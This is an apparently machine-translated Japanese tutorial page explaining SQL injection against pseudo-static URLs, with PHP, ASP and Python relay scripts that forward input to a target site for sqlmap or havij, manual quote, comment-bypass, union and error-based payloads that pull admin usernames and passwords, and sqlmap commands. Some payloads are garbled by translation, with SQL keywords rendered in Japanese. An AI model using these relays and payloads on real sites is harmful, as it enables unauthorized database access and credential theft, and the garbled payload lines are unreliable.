PHP は擬似静的インジェクションの例を共有します

小云云
リリース: 2023-03-19 19:02:02
オリジナル
2003 人が閲覧しました

この記事では、主に PHP の疑似静的インジェクションを紹介し、サンプルの形で PHP の一般的なインジェクション状況を分析します。また、ASP と Python の関連するオペレーション コードも付属しています。プログラムのセキュリティを必要とする友人は、参考にしていただければ幸いです。

1: リレー注入法

1. http://www.xxx.com/news.php?id=1 を通して擬似静的にすると、次のようになります
http://www. xxx .com/news.php/id/1.html

2. テスト手順:

挿入された PHP コードを転送します: inject.php


<?php
set_time_limit(0);
$id=$_GET["id"];
$id=str_replace(” “,”%20″,$id);
$id=str_replace(“=”,”%3D”,$id);
//$url = "http://www.xxx.com/news.php/id/$id.html";
$url = "http://www.xxx.com/news.php/id/$id.html";
//echo $url;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HEADER, 0);
$output = curl_exec($ch);
curl_close($ch);
print_r($output);
?>
ログイン後にコピー

3. ローカル環境で PHP をビルドし、http にアクセスします。 ://127.0 .0.1/inject.php?id=1

インジェクションの脆弱性は、sqlmap または havj を通じて実行される可能性があります。

付録 ASP 転送コード:


<%
JmdcwName=request("id")
JmStr=JmdcwName
JmStr=URLEncoding(JmStr)
JMUrl="http://192.168.235.7:8808/ad/blog/"  //实际上要请求的网址
JMUrl=JMUrl & JmStr&".html"    //拼接url
response.write JMUrl&JmStr    //我这里故意输出url来看
&#39;JmRef="http://127.0.0.1/6kbbs/bank.asp"
JmCok=""
JmCok=replace(JmCok,chr(32),"%20") 
JmStr=URLEncoding(JmStr)  
response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查询字符串,cookie,referer字段
Function PostData(PostUrl,PostStr,PostCok,PostRef)  
Dim Http
Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
With Http
.Open "GET",PostUrl,False
.Send ()
PostData = .ResponseBody
End With
Set Http = Nothing
PostData =bytes2BSTR(PostData)
End Function
Function bytes2BSTR(vIn)   //处理返回的信息
Dim strReturn
Dim I, ThisCharCode, NextCharCode
strReturn = ""
For I = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn, I, 1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn, I + 1, 1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
I = I + 1
End If
Next
bytes2BSTR = strReturn
End Function
Function URLEncoding(vstrin)    //发包前对参数的url编码一下
strReturn=""
Dim i
&#39;vstrin=replace(vstrin,"%","%25") &#39;增加转换搜索字符,
&#39;vstrin=Replace(vstrin,chr(32),"%20") &#39;转换空格,如果网站过滤了空格,尝试用/**/来代替%20
&#39;vstrin=Replace(vstrin,chr(43),"%2B")  &#39;JMDCW增加转换+字符
vstrin=Replace(vstrin,chr(32),"/**/")  &#39;在此增加要过滤的代码 //这里很关键,方便啊,把空格自动换成/**/,后面会说到的
For i=1 To Len(vstrin)
ThisChr=Mid(vstrin,i,1)
if Abs(Asc(ThisChr))< &HFF Then
strReturn=strReturn & ThisChr
Else
InnerCode=Asc(ThisChr)
If InnerCode<0 Then
InnerCode=InnerCode + &H10000
End If
Hight1=(InnerCode And &HFF00) \&HFF
Low1=InnerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)
End if
Next
URLEncoding=strReturn
End Function
%>
ログイン後にコピー

2. 手動注入方法

1. http://www.xxx.com/play/Diablo.html

http://www.xxx. com/down/html/?772.html

2. テスト注入:

http://www.xxx.com/down/html/?772′.html

http://www.xxx.com /play /Diablo'.html
http://www.xxx.com/play/Diablo'/**/そして
/**/1='1 /*.html
http://www.xxx.com/play/Diablo '
/**/そして
/**/1='2 /*.html
http://www.xxx.com/page/html/?56'/**/そして/**/1=1/*。 htmlは正常です
http://www.xxx.com/page/html/?56′/**/そして/**/1=2/*.htmlは間違っています

3. ページ内に差異がないか確認します。それらが同じであれば、違いはなく、異なる存在になります。

4. ユニオンクエリ:

http://www.xxx.com/play/diablo' and 1=2 Union select 1,2… frominformation_schema.columns where 1='1.html

http://www. xxx.com/page/html/?56'/**/そして/**/(SELECT/**/1/**/(選択する/**/から/**/count(*),concat(floor(rand(0) *2),(substring((select(version())),1,62)))a/**/グループ/**/a)b)=1/*.html

手動注入法(2)

http://www.xxx.net/news/html/?410.html

http://www. xxx.net/news/html/?410'union/**/1/**/(選択する/**/concat(ユーザー,0x3a,パスワード)/**/select/* */pwn_base_admin/**/0,1),0x3a)a/**/information_schema.tables/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/による/**/where'1'='1.html

注:

擬似静的インジェクションは、URL の通常の GET インジェクションとは異なります

。通常の URL の get によって挿入される %20、%23、+ などを使用できますが、擬似静的は機能せず、URL に直接渡されるため、/* を使用します。*&#&* /limit/**&#&*&#&*&#&*&#&*&#&*/a)b/**&#&*/このコメント記号はスペースを表します

3. SQLmap メソッド

sqlmap で、疑似静的注入ポイントがある場所に *

http://www.cunlide.com/id1/1/id2/2
python sqlmap.py -u “http: //www.xxx .com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python sqlmap.py -u “http://www. xxx.com/news /class/?103*.html”

4. Python スクリプトメソッド

コード:


from BaseHTTPServer import *
import urllib2
class MyHTTPHandler(BaseHTTPRequestHandler):
 def do_GET(self):
  path=self.path
  path=path[path.find(&#39;id=&#39;)+3:]
  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})
  opener = urllib2.build_opener(proxy_support)
  urllib2.install_opener(opener)
  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"
  try:
   response=urllib2.urlopen(url+path)
   html=response.read()
  except urllib2.URLError,e:
   html=e.read()
  self.wfile.write(html)
server = HTTPServer(("", 8000), MyHTTPHandler)
server.serve_forever()
ログイン後にコピー

関連する推奨事項:

HTML の疑似静的追加を実装する方法WordPressのsuffix

Pseudo-staticとは

PHPの擬似静的設定方法を詳しく解説

以上がPHP は擬似静的インジェクションの例を共有しますの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

関連ラベル:
ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
最新の問題
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート
私たちについて 免責事項 Sitemap
PHP中国語ウェブサイト:福祉オンライン PHP トレーニング,PHP 学習者の迅速な成長を支援します!